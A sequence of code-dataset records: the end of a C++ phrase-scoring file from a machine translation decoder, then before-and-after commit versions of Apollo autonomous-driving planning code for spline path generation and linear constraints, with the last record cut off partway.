const float weightLM = lm.GetWeight();\n const float oovWeightLM = lm.GetOOVWeight();\n float fullScore, nGramScore;\n size_t oovCount;\n\n lm.CalcScore(*this, fullScore, nGramScore, oovCount);\n fullScore = UntransformLMScore(fullScore);\n nGramScore = UntransformLMScore(nGramScore);\n\n if (StaticData::Instance().GetLMEnableOOVFeature()) {\n vector<float> scores(2);\n scores[0] = nGramScore;\n scores[1] = oovCount;\n m_scoreBreakdown.Assign(&lm, scores);\n totalOOVScore += oovCount * oovWeightLM;\n } else {\n m_scoreBreakdown.Assign(&lm, nGramScore);\n }\n\n \/\/ total LM score so far\n totalNgramScore += nGramScore * weightLM;\n totalFullScore += fullScore * weightLM;\n }\n }\n\n \/\/ word penalty\n size_t wordCount = GetNumTerminals();\n m_scoreBreakdown.Assign(wpProducer, - (float) wordCount * 0.434294482); \/\/ TODO log -> ln ??\n\n m_fullScore = m_scoreBreakdown.GetWeightedScore() - totalNgramScore + totalFullScore + totalOOVScore;\n}\n\nvoid TargetPhrase::SetScore(const ScoreProducer* producer, const Scores &scoreVector)\n{\n \/\/ used when creating translations of unknown words (chart decoding)\n m_scoreBreakdown.Assign(producer, scoreVector);\n m_fullScore = m_scoreBreakdown.GetWeightedScore();\n}\n\n\nvoid TargetPhrase::SetWeights(const ScoreProducer* translationScoreProducer, const vector<float> &weightT)\n{\n \/\/ calling this function in case of confusion net input is undefined\n CHECK(StaticData::Instance().GetInputType()==SentenceInput);\n\n \/* one way to fix this, you have to make sure the weightT contains (in\n addition to the usual phrase translation scaling factors) the input\n weight factor as last element\n *\/\n}\n\nvoid TargetPhrase::ResetScore()\n{\n m_fullScore = 0;\n m_scoreBreakdown.ZeroAll();\n}\n\nTargetPhrase *TargetPhrase::MergeNext(const TargetPhrase &inputPhrase) const\n{\n if (! IsCompatible(inputPhrase)) {\n return NULL;\n }\n\n \/\/ ok, merge\n TargetPhrase *clone\t\t\t\t= new TargetPhrase(*this);\n clone->m_sourcePhrase = m_sourcePhrase;\n int currWord = 0;\n const size_t len = GetSize();\n for (size_t currPos = 0 ; currPos < len ; currPos++) {\n const Word &inputWord\t= inputPhrase.GetWord(currPos);\n Word &cloneWord = clone->GetWord(currPos);\n cloneWord.Merge(inputWord);\n\n currWord++;\n }\n\n return clone;\n}\n\nvoid TargetPhrase::SetAlignmentInfo(const StringPiece &alignString)\n{\n\tAlignmentInfo::CollType alignTerm, alignNonTerm;\n for (util::TokenIter<util::AnyCharacter, true> token(alignString, util::AnyCharacter(\" \\t\")); token; ++token) {\n util::TokenIter<util::SingleCharacter, false> dash(*token, util::SingleCharacter('-'));\n\n char *endptr;\n size_t sourcePos = strtoul(dash->data(), &endptr, 10);\n UTIL_THROW_IF(endptr != dash->data() + dash->size(), util::ErrnoException, \"Error parsing alignment\" << *dash);\n ++dash;\n size_t targetPos = strtoul(dash->data(), &endptr, 10);\n UTIL_THROW_IF(endptr != dash->data() + dash->size(), util::ErrnoException, \"Error parsing alignment\" << *dash);\n UTIL_THROW_IF(++dash, util::Exception, \"Extra gunk in alignment \" << *token);\n\n\n if (GetWord(targetPos).IsNonTerminal()) {\n \talignNonTerm.insert(std::pair<size_t,size_t>(sourcePos, targetPos));\n }\n \telse {\n \t\talignTerm.insert(std::pair<size_t,size_t>(sourcePos, targetPos));\n \t}\n }\n SetAlignTerm(alignTerm);\n SetAlignNonTerm(alignNonTerm);\n\n}\n\nvoid TargetPhrase::SetAlignTerm(const AlignmentInfo::CollType &coll)\n{\n\tconst AlignmentInfo *alignmentInfo = AlignmentInfoCollection::Instance().Add(coll);\n\tm_alignTerm = alignmentInfo;\n\n}\n\nvoid TargetPhrase::SetAlignNonTerm(const AlignmentInfo::CollType &coll)\n{\n\tconst AlignmentInfo *alignmentInfo = AlignmentInfoCollection::Instance().Add(coll);\n\tm_alignNonTerm = alignmentInfo;\n}\n\nTO_STRING_BODY(TargetPhrase);\n\nstd::ostream& operator<<(std::ostream& os, const TargetPhrase& tp)\n{\n os << static_cast<const Phrase&>(tp) << \":\" << tp.GetAlignNonTerm();\n os << \": c=\" << tp.m_fullScore;\n\n return os;\n}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n * @brief: Implementation of PiecewiseLinearConstraint class\n **\/\n\n#include \"modules\/planning\/math\/smoothing_spline\/piecewise_linear_constraint.h\"\n\n#include <limits>\n\nnamespace apollo {\nnamespace planning {\n\nnamespace {\n\nEigen::MatrixXd MergeMaxtrices(const std::vector<Eigen::MatrixXd> matrices) {\n int32_t d = 0;\n for (const auto& mat : matrices) {\n d += mat.rows();\n }\n int32_t col = matrices.front().cols();\n Eigen::MatrixXd res = Eigen::MatrixXd::Zero(d, col);\n int32_t index = 0;\n for (const auto& mat : matrices) {\n res.block(index, 0, mat.rows(), mat.cols()) = mat;\n index += mat.rows();\n }\n return res;\n}\n}\n\nPiecewiseLinearConstraint::PiecewiseLinearConstraint(const uint32_t dimension)\n : dimension_(dimension) {}\n\nEigen::MatrixXd PiecewiseLinearConstraint::inequality_constraint_matrix()\n const {\n return MergeMaxtrices(inequality_matrices_);\n}\n\nEigen::MatrixXd PiecewiseLinearConstraint::inequality_constraint_boundary()\n const {\n return MergeMaxtrices(inequality_boundaries_);\n}\n\nEigen::MatrixXd PiecewiseLinearConstraint::equality_constraint_matrix() const {\n return MergeMaxtrices(equality_matrices_);\n}\n\nEigen::MatrixXd PiecewiseLinearConstraint::equality_constraint_boundary()\n const {\n return MergeMaxtrices(equality_boundaries_);\n}\n\nbool PiecewiseLinearConstraint::AddBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddDerivativeBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddSecondDerivativeBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddThirdDerivativeBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointConstraint(const double x,\n const double fx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointDerivativeConstraint(const double x,\n const double dfx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointSecondDerivativeConstraint(\n const double x, const double ddfx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointThirdDerivativeConstraint(\n const double x, const double dddfx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddMonotoneInequalityConstraint() {\n \/\/ TODO(Liangliang): implement this function\n Eigen::MatrixXd inequality_matrix =\n Eigen::MatrixXd::Zero(dimension_ - 1, dimension_ - 1);\n Eigen::MatrixXd inequality_boundary =\n Eigen::MatrixXd::Zero(dimension_ - 1, 1);\n\n for (uint32_t i = 1; i < dimension_; ++i) {\n inequality_matrix(i, i - 1) = -1.0;\n inequality_matrix(i, i) = 1.0;\n }\n inequality_matrices_.push_back(inequality_matrix);\n inequality_boundaries_.push_back(inequality_boundary);\n\n return true;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<commit_msg>Planning: added boundary constraint implementation in piecewise linear constraint.<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n * @brief: Implementation of PiecewiseLinearConstraint class\n **\/\n\n#include \"modules\/planning\/math\/smoothing_spline\/piecewise_linear_constraint.h\"\n\n#include <limits>\n\nnamespace apollo {\nnamespace planning {\n\nnamespace {\n\nEigen::MatrixXd MergeMaxtrices(const std::vector<Eigen::MatrixXd> matrices) {\n int32_t d = 0;\n for (const auto& mat : matrices) {\n d += mat.rows();\n }\n int32_t col = matrices.front().cols();\n Eigen::MatrixXd res = Eigen::MatrixXd::Zero(d, col);\n int32_t index = 0;\n for (const auto& mat : matrices) {\n res.block(index, 0, mat.rows(), mat.cols()) = mat;\n index += mat.rows();\n }\n return res;\n}\n}\n\nPiecewiseLinearConstraint::PiecewiseLinearConstraint(const uint32_t dimension)\n : dimension_(dimension) {}\n\nEigen::MatrixXd PiecewiseLinearConstraint::inequality_constraint_matrix()\n const {\n return MergeMaxtrices(inequality_matrices_);\n}\n\nEigen::MatrixXd PiecewiseLinearConstraint::inequality_constraint_boundary()\n const {\n return MergeMaxtrices(inequality_boundaries_);\n}\n\nEigen::MatrixXd PiecewiseLinearConstraint::equality_constraint_matrix() const {\n return MergeMaxtrices(equality_matrices_);\n}\n\nEigen::MatrixXd PiecewiseLinearConstraint::equality_constraint_boundary()\n const {\n return MergeMaxtrices(equality_boundaries_);\n}\n\nbool PiecewiseLinearConstraint::AddBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n if (index_list.size() != lower_bound.size() ||\n index_list.size() != upper_bound.size()) {\n return false;\n }\n Eigen::MatrixXd inequality_matrix =\n Eigen::MatrixXd::Zero(2 * index_list.size(), dimension_);\n Eigen::MatrixXd inequality_boundary =\n Eigen::MatrixXd::Zero(2 * index_list.size(), 1);\n\n for (uint32_t i = 0; i < index_list.size(); ++i) {\n uint32_t index = index_list[i];\n inequality_matrix(i, index) = -1.0;\n inequality_boundary(i, 0) = -upper_bound[i];\n inequality_matrix(i + 1, index) = 1.0;\n inequality_boundary(i + 1, 0) = lower_bound[i];\n }\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddDerivativeBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddSecondDerivativeBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddThirdDerivativeBoundary(\n const std::vector<uint32_t>& index_list,\n const std::vector<double>& lower_bound,\n const std::vector<double>& upper_bound) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointConstraint(const double x,\n const double fx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointDerivativeConstraint(const double x,\n const double dfx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointSecondDerivativeConstraint(\n const double x, const double ddfx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddPointThirdDerivativeConstraint(\n const double x, const double dddfx) {\n \/\/ TODO(Liangliang): implement this function\n return true;\n}\n\nbool PiecewiseLinearConstraint::AddMonotoneInequalityConstraint() {\n Eigen::MatrixXd inequality_matrix =\n Eigen::MatrixXd::Zero(dimension_ - 1, dimension_ - 1);\n Eigen::MatrixXd inequality_boundary =\n Eigen::MatrixXd::Zero(dimension_ - 1, 1);\n\n for (uint32_t i = 1; i < dimension_; ++i) {\n inequality_matrix(i, i - 1) = -1.0;\n inequality_matrix(i, i) = 1.0;\n }\n inequality_matrices_.push_back(inequality_matrix);\n inequality_boundaries_.push_back(inequality_boundary);\n\n return true;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file qp_spline_path_generator.cc\n **\/\n#include <algorithm>\n#include <utility>\n#include <vector>\n\n#include \"modules\/planning\/optimizer\/qp_spline_path\/qp_spline_path_generator.h\"\n\n#include \"modules\/common\/proto\/pnc_point.pb.h\"\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/macro.h\"\n#include \"modules\/common\/util\/file.h\"\n#include \"modules\/common\/util\/util.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/math\/sl_analytic_transformation.h\"\n#include \"modules\/planning\/optimizer\/qp_spline_path\/qp_spline_path_sampler.h\"\n\nnamespace apollo {\nnamespace planning {\n\nbool QpSplinePathGenerator::Init(const std::string& config_file) {\n if (!common::util::GetProtoFromFile(config_file, &_qp_spline_path_config)) {\n AERROR << \"Failed to load config file \" << config_file;\n return false;\n }\n return true;\n}\n\nbool QpSplinePathGenerator::generate(const ReferenceLine& reference_line,\n const DecisionData& decision_data,\n const SpeedData& speed_data,\n const common::TrajectoryPoint& init_point,\n PathData* const path_data) {\n if (!calculate_sl_point(reference_line, init_point, &_init_point)) {\n AERROR << \"Fail to map init point: \" << init_point.ShortDebugString();\n return false;\n }\n double start_s = _init_point.s();\n double end_s = std::min(reference_line.length(),\n _init_point.s() + FLAGS_planning_distance);\n\n QpFrenetFrame qp_frenet_frame(reference_line, decision_data, speed_data,\n _init_point, start_s, end_s,\n _qp_spline_path_config.time_resolution());\n if (!qp_frenet_frame.Init(_qp_spline_path_config.num_output())) {\n AERROR << \"Fail to initialize qp frenet frame\";\n return false;\n }\n\n if (!init_coord_range(qp_frenet_frame, &start_s, &end_s)) {\n AERROR << \"Measure natural coord system with s range failed!\";\n return false;\n }\n\n AINFO << \"pss path start with \" << start_s << \", end with \" << end_s;\n if (!init_smoothing_spline(reference_line, start_s, end_s)) {\n AERROR << \"Init smoothing spline failed with (\" << start_s << \", end_s \"\n << end_s;\n return false;\n }\n\n if (!setup_constraint(qp_frenet_frame)) {\n AERROR << \"Fail to setup pss path constraint.\";\n return false;\n }\n if (!setup_kernel()) {\n AERROR << \"Fail to setup pss path kernel.\";\n return false;\n }\n if (!solve()) {\n AERROR << \"Fail to solve the qp problem.\";\n return false;\n }\n\n AINFO << common::util::StrCat(\"Spline dl:\", _init_point.dl(), \", ddl:\",\n _init_point.ddl());\n\n \/\/ extract data\n const Spline1d& spline = _spline_generator->spline();\n double s_resolution =\n (end_s - _init_point.s()) \/ _qp_spline_path_config.num_output();\n std::vector<common::PathPoint> path_points;\n\n double start_l = spline(_init_point.s());\n ReferencePoint ref_point =\n reference_line.get_reference_point(_init_point.s());\n common::math::Vec2d xy_point = SLAnalyticTransformation::calculate_xypoint(\n ref_point.heading(), common::math::Vec2d(ref_point.x(), ref_point.y()),\n start_l);\n\n double x_diff = xy_point.x() - init_point.path_point().x();\n double y_diff = xy_point.y() - init_point.path_point().y();\n\n double s = _init_point.s();\n for (std::uint32_t i = 0;\n i <= _qp_spline_path_config.num_output() && s <= end_s; ++i) {\n double l = spline(s);\n double dl = spline.derivative(s);\n double ddl = spline.second_order_derivative(s);\n ReferencePoint ref_point = reference_line.get_reference_point(s);\n common::math::Vec2d xy_point = SLAnalyticTransformation::calculate_xypoint(\n ref_point.heading(), common::math::Vec2d(ref_point.x(), ref_point.y()),\n l);\n xy_point.set_x(xy_point.x() - x_diff);\n xy_point.set_y(xy_point.y() - y_diff);\n double theta = SLAnalyticTransformation::calculate_theta(\n ref_point.heading(), ref_point.kappa(), l, dl);\n double kappa = SLAnalyticTransformation::calculate_kappa(\n ref_point.kappa(), ref_point.dkappa(), l, dl, ddl);\n common::PathPoint path_point = common::util::MakePathPoint(\n xy_point.x(), xy_point.y(), 0.0, theta, kappa, 0.0, 0.0);\n if (path_points.size() != 0) {\n double distance =\n common::util::Distance2D(path_points.back(), path_point);\n path_point.set_s(path_points.back().s() + distance);\n }\n path_points.push_back(std::move(path_point));\n s = _init_point.s() + (i + 1) * s_resolution;\n }\n path_data->set_discretized_path(path_points);\n return true;\n}\n\nbool QpSplinePathGenerator::calculate_sl_point(\n const ReferenceLine& reference_line,\n const common::TrajectoryPoint& traj_point,\n common::FrenetFramePoint* const frenet_frame_point) {\n common::SLPoint sl_point;\n if (!reference_line.get_point_in_frenet_frame(\n {traj_point.path_point().x(), traj_point.path_point().y()},\n &sl_point)) {\n return false;\n }\n frenet_frame_point->set_s(sl_point.s());\n frenet_frame_point->set_l(sl_point.l());\n const double theta = traj_point.path_point().theta();\n const double kappa = traj_point.path_point().kappa();\n const double l = frenet_frame_point->l();\n\n ReferencePoint ref_point =\n reference_line.get_reference_point(frenet_frame_point->s());\n\n const double theta_ref = ref_point.heading();\n const double kappa_ref = ref_point.kappa();\n const double dkappa_ref = ref_point.dkappa();\n\n const double dl = SLAnalyticTransformation::calculate_lateral_derivative(\n theta_ref, theta, l, kappa_ref);\n const double ddl =\n SLAnalyticTransformation::calculate_second_order_lateral_derivative(\n theta_ref, theta, kappa_ref, kappa, dkappa_ref, l);\n frenet_frame_point->set_dl(dl);\n frenet_frame_point->set_ddl(ddl);\n return true;\n}\n\nbool QpSplinePathGenerator::init_coord_range(\n const QpFrenetFrame& qp_frenet_frame, double* const start_s,\n double* const end_s) {\n \/\/ TODO(all): step 1 get current sl coordinate - with init coordinate point\n double start_point = std::max(_init_point.s() - 5.0, 0.0);\n\n const ReferenceLine& reference_line = qp_frenet_frame.GetReferenceLine();\n\n double end_point =\n std::min(reference_line.length(), *start_s + FLAGS_planning_distance);\n\n end_point =\n std::min(qp_frenet_frame.feasible_longitudinal_upper_bound(), end_point);\n *start_s = start_point;\n *end_s = end_point;\n return true;\n}\n\nbool QpSplinePathGenerator::init_smoothing_spline(\n const ReferenceLine& reference_line, const double start_s,\n const double end_s) {\n QpSplinePathSampler sampler(_qp_spline_path_config);\n\n \/\/ TODO(all): refine here, add end_s tolorence here\n std::vector<double> sampling_point;\n if (!sampler.Sample(_init_point, reference_line, start_s, end_s - 0.1,\n &sampling_point)) {\n AERROR << \"Qp spline sampler failed!\";\n return false;\n }\n\n _spline_generator.reset(new Spline1dGenerator(\n sampling_point, _qp_spline_path_config.spline_order()));\n return true;\n}\n\nbool QpSplinePathGenerator::setup_constraint(\n const QpFrenetFrame& qp_frenet_frame) {\n Spline1dConstraint* spline_constraint =\n _spline_generator->mutable_spline_constraint();\n \/\/ add init status constraint\n spline_constraint->add_point_fx_constraint(_init_point.s(), _init_point.l());\n spline_constraint->add_point_derivative_constraint(_init_point.s(),\n _init_point.dl());\n spline_constraint->add_point_second_derivative_constraint(_init_point.s(),\n _init_point.ddl());\n\n AINFO << \"init frenet point: \" << _init_point.ShortDebugString();\n\n \/\/ add end point constraint\n const std::vector<double> spline_knots =\n _spline_generator->spline().x_knots();\n if (spline_knots.size() < 2) {\n AERROR << common::util::StrCat(\"Smoothing spline knot size(\",\n spline_knots.size(), \") < 2\");\n return false;\n }\n double s_length = spline_knots.back() - spline_knots.front();\n if (s_length <= 0) {\n AERROR << common::util::StrCat(\"Smoothing spline knot length(\", s_length,\n \") <= 0\");\n return false;\n }\n\n std::pair<double, double> boundary = std::make_pair(0.0, 0.0);\n double end_ref_l = (boundary.first + boundary.second) \/ 2.0;\n spline_constraint->add_point_fx_constraint(spline_knots.back(), end_ref_l);\n spline_constraint->add_point_derivative_constraint(spline_knots.back(), 0.0);\n spline_constraint->add_point_second_derivative_constraint(spline_knots.back(),\n 0.0);\n AINFO << \"end frenet point:\" << s_length << \", \" << end_ref_l\n << \", 0.0, 0.0.\";\n const std::vector<double> sampling_knots = spline_knots;\n\n if (sampling_knots.size() <= 2) {\n return false;\n }\n\n std::uint32_t num_fx_bound =\n _qp_spline_path_config.number_of_fx_constraint_knots();\n std::vector<double> boundary_low;\n std::vector<double> boundary_high;\n std::vector<double> fx_knots;\n\n if (num_fx_bound > 1) {\n double ds = (sampling_knots.back() - sampling_knots.front()) \/ num_fx_bound;\n double s = sampling_knots.front();\n\n for (std::uint32_t i = 0; i < num_fx_bound + 1; ++i) {\n fx_knots.push_back(s);\n std::pair<double, double> boundary = std::make_pair(0.0, 0.0);\n qp_frenet_frame.get_map_bound(s, &boundary);\n boundary_low.push_back(boundary.first);\n boundary_high.push_back(boundary.second);\n s += ds;\n \/\/ calculate boundary here\n }\n\n if (!spline_constraint->add_fx_boundary(fx_knots, boundary_low,\n boundary_high)) {\n AERROR << \"Add boundary constraint failed\";\n return false;\n }\n }\n \/\/ add smooth jointness constraint\n if (!spline_constraint->add_third_derivative_smooth_constraint()) {\n AERROR << \"Add spline jointness constraint failed!\";\n return false;\n }\n\n return true;\n}\n\nbool QpSplinePathGenerator::setup_kernel() {\n Spline1dKernel* spline_kernel = _spline_generator->mutable_spline_kernel();\n\n if (_qp_spline_path_config.regularization_weight() > 0) {\n spline_kernel->add_regularization(\n _qp_spline_path_config.regularization_weight());\n }\n\n if (_qp_spline_path_config.derivative_weight() > 0) {\n spline_kernel->add_derivative_kernel_matrix(\n _qp_spline_path_config.derivative_weight());\n }\n\n if (_qp_spline_path_config.second_derivative_weight() > 0) {\n spline_kernel->add_second_order_derivative_matrix(\n _qp_spline_path_config.second_derivative_weight());\n }\n\n if (_qp_spline_path_config.third_derivative_weight() > 0) {\n spline_kernel->add_third_order_derivative_matrix(\n _qp_spline_path_config.third_derivative_weight());\n }\n\n \/\/ TODO(all): Add reference line kernel here\n return true;\n}\n\nbool QpSplinePathGenerator::solve() {\n if (!_spline_generator->solve()) {\n AERROR << \"Could not solve the qp problem in spline path generator.\";\n return false;\n }\n return true;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<commit_msg>fixed a bug which can cause path length exceed reference line.<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file qp_spline_path_generator.cc\n **\/\n#include <algorithm>\n#include <utility>\n#include <vector>\n\n#include \"modules\/planning\/optimizer\/qp_spline_path\/qp_spline_path_generator.h\"\n\n#include \"modules\/common\/proto\/pnc_point.pb.h\"\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/macro.h\"\n#include \"modules\/common\/util\/file.h\"\n#include \"modules\/common\/util\/util.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/math\/double.h\"\n#include \"modules\/planning\/math\/sl_analytic_transformation.h\"\n#include \"modules\/planning\/optimizer\/qp_spline_path\/qp_spline_path_sampler.h\"\n\nnamespace apollo {\nnamespace planning {\n\nbool QpSplinePathGenerator::Init(const std::string& config_file) {\n if (!common::util::GetProtoFromFile(config_file, &_qp_spline_path_config)) {\n AERROR << \"Failed to load config file \" << config_file;\n return false;\n }\n return true;\n}\n\nbool QpSplinePathGenerator::generate(const ReferenceLine& reference_line,\n const DecisionData& decision_data,\n const SpeedData& speed_data,\n const common::TrajectoryPoint& init_point,\n PathData* const path_data) {\n if (!calculate_sl_point(reference_line, init_point, &_init_point)) {\n AERROR << \"Fail to map init point: \" << init_point.ShortDebugString();\n return false;\n }\n double start_s = _init_point.s();\n double end_s = std::min(reference_line.length(),\n _init_point.s() + FLAGS_planning_distance);\n\n QpFrenetFrame qp_frenet_frame(reference_line, decision_data, speed_data,\n _init_point, start_s, end_s,\n _qp_spline_path_config.time_resolution());\n if (!qp_frenet_frame.Init(_qp_spline_path_config.num_output())) {\n AERROR << \"Fail to initialize qp frenet frame\";\n return false;\n }\n\n if (!init_coord_range(qp_frenet_frame, &start_s, &end_s)) {\n AERROR << \"Measure natural coord system with s range failed!\";\n return false;\n }\n\n AINFO << \"pss path start with \" << start_s << \", end with \" << end_s;\n if (!init_smoothing_spline(reference_line, start_s, end_s)) {\n AERROR << \"Init smoothing spline failed with (\" << start_s << \", end_s \"\n << end_s;\n return false;\n }\n\n if (!setup_constraint(qp_frenet_frame)) {\n AERROR << \"Fail to setup pss path constraint.\";\n return false;\n }\n if (!setup_kernel()) {\n AERROR << \"Fail to setup pss path kernel.\";\n return false;\n }\n if (!solve()) {\n AERROR << \"Fail to solve the qp problem.\";\n return false;\n }\n\n AINFO << common::util::StrCat(\"Spline dl:\", _init_point.dl(), \", ddl:\",\n _init_point.ddl());\n\n \/\/ extract data\n const Spline1d& spline = _spline_generator->spline();\n std::vector<common::PathPoint> path_points;\n\n double start_l = spline(_init_point.s());\n ReferencePoint ref_point =\n reference_line.get_reference_point(_init_point.s());\n common::math::Vec2d xy_point = SLAnalyticTransformation::calculate_xypoint(\n ref_point.heading(), common::math::Vec2d(ref_point.x(), ref_point.y()),\n start_l);\n\n double x_diff = xy_point.x() - init_point.path_point().x();\n double y_diff = xy_point.y() - init_point.path_point().y();\n\n double s = _init_point.s();\n double s_resolution =\n (end_s - _init_point.s()) \/ _qp_spline_path_config.num_output();\n while (Double::compare(s, end_s) < 0) {\n double l = spline(s);\n double dl = spline.derivative(s);\n double ddl = spline.second_order_derivative(s);\n ReferencePoint ref_point = reference_line.get_reference_point(s);\n common::math::Vec2d xy_point = SLAnalyticTransformation::calculate_xypoint(\n ref_point.heading(), common::math::Vec2d(ref_point.x(), ref_point.y()),\n l);\n xy_point.set_x(xy_point.x() - x_diff);\n xy_point.set_y(xy_point.y() - y_diff);\n double theta = SLAnalyticTransformation::calculate_theta(\n ref_point.heading(), ref_point.kappa(), l, dl);\n double kappa = SLAnalyticTransformation::calculate_kappa(\n ref_point.kappa(), ref_point.dkappa(), l, dl, ddl);\n common::PathPoint path_point = common::util::MakePathPoint(\n xy_point.x(), xy_point.y(), 0.0, theta, kappa, 0.0, 0.0);\n if (path_points.size() != 0) {\n double distance =\n common::util::Distance2D(path_points.back(), path_point);\n path_point.set_s(path_points.back().s() + distance);\n }\n if (Double::compare(path_point.s(), end_s) >= 0) {\n break;\n }\n path_points.push_back(path_point);\n s += s_resolution;\n }\n path_data->set_discretized_path(path_points);\n return true;\n}\n\nbool QpSplinePathGenerator::calculate_sl_point(\n const ReferenceLine& reference_line,\n const common::TrajectoryPoint& traj_point,\n common::FrenetFramePoint* const frenet_frame_point) {\n common::SLPoint sl_point;\n if (!reference_line.get_point_in_frenet_frame(\n {traj_point.path_point().x(), traj_point.path_point().y()},\n &sl_point)) {\n return false;\n }\n frenet_frame_point->set_s(sl_point.s());\n frenet_frame_point->set_l(sl_point.l());\n const double theta = traj_point.path_point().theta();\n const double kappa = traj_point.path_point().kappa();\n const double l = frenet_frame_point->l();\n\n ReferencePoint ref_point =\n reference_line.get_reference_point(frenet_frame_point->s());\n\n const double theta_ref = ref_point.heading();\n const double kappa_ref = ref_point.kappa();\n const double dkappa_ref = ref_point.dkappa();\n\n const double dl = SLAnalyticTransformation::calculate_lateral_derivative(\n theta_ref, theta, l, kappa_ref);\n const double ddl =\n SLAnalyticTransformation::calculate_second_order_lateral_derivative(\n theta_ref, theta, kappa_ref, kappa, dkappa_ref, l);\n frenet_frame_point->set_dl(dl);\n frenet_frame_point->set_ddl(ddl);\n return true;\n}\n\nbool QpSplinePathGenerator::init_coord_range(\n const QpFrenetFrame& qp_frenet_frame, double* const start_s,\n double* const end_s) {\n \/\/ TODO(all): step 1 get current sl coordinate - with init coordinate point\n double start_point = std::max(_init_point.s() - 5.0, 0.0);\n\n const ReferenceLine& reference_line = qp_frenet_frame.GetReferenceLine();\n\n double end_point =\n std::min(reference_line.length(), *start_s + FLAGS_planning_distance);\n\n end_point =\n std::min(qp_frenet_frame.feasible_longitudinal_upper_bound(), end_point);\n *start_s = start_point;\n *end_s = end_point;\n return true;\n}\n\nbool QpSplinePathGenerator::init_smoothing_spline(\n const ReferenceLine& reference_line, const double start_s,\n const double end_s) {\n QpSplinePathSampler sampler(_qp_spline_path_config);\n\n \/\/ TODO(all): refine here, add end_s tolorence here\n std::vector<double> sampling_point;\n if (!sampler.Sample(_init_point, reference_line, start_s, end_s - 0.1,\n &sampling_point)) {\n 